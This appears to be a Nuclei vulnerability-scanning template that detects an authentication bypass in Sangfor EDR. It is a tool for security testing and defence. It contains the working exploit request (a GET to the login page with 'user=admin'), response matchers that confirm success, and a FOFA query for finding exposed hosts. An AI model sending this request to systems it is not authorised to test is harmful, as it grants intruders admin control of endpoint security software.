id: sangfor-edr-auth-bypass info: name: Sangfor EDR - Authentication Bypass author: princechaddha severity: high description: | Sangfor EDR contains an authentication bypass vulnerability. An attacker can access the system with admin privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cwe-id: CWE-287 metadata: max-request: 1 fofa-query: app="sangfor" tags: sangfor,auth-bypass,login http: - method: GET path: - "{{BaseURL}}/ui/login.php?user=admin" matchers-condition: and matchers: - type: word part: body words: - "/download/edr_installer_" - type: word part: header words: - 'Set-Cookie=""' negative: true - type: word part: header words: - 'Set-Cookie=' - type: status status: - 302 # digest: 4a0a00473045022100b44fc80ed7fea92dcae3fa2c531204b2b0c157e3c31c62b264451a38c8aae83302206a40cc30c18dcbf7c19316b5798b7ccdf4953a2ddad03b78a16ed2ca37ecc91d:922c64590222798bb761d5b6d8e72950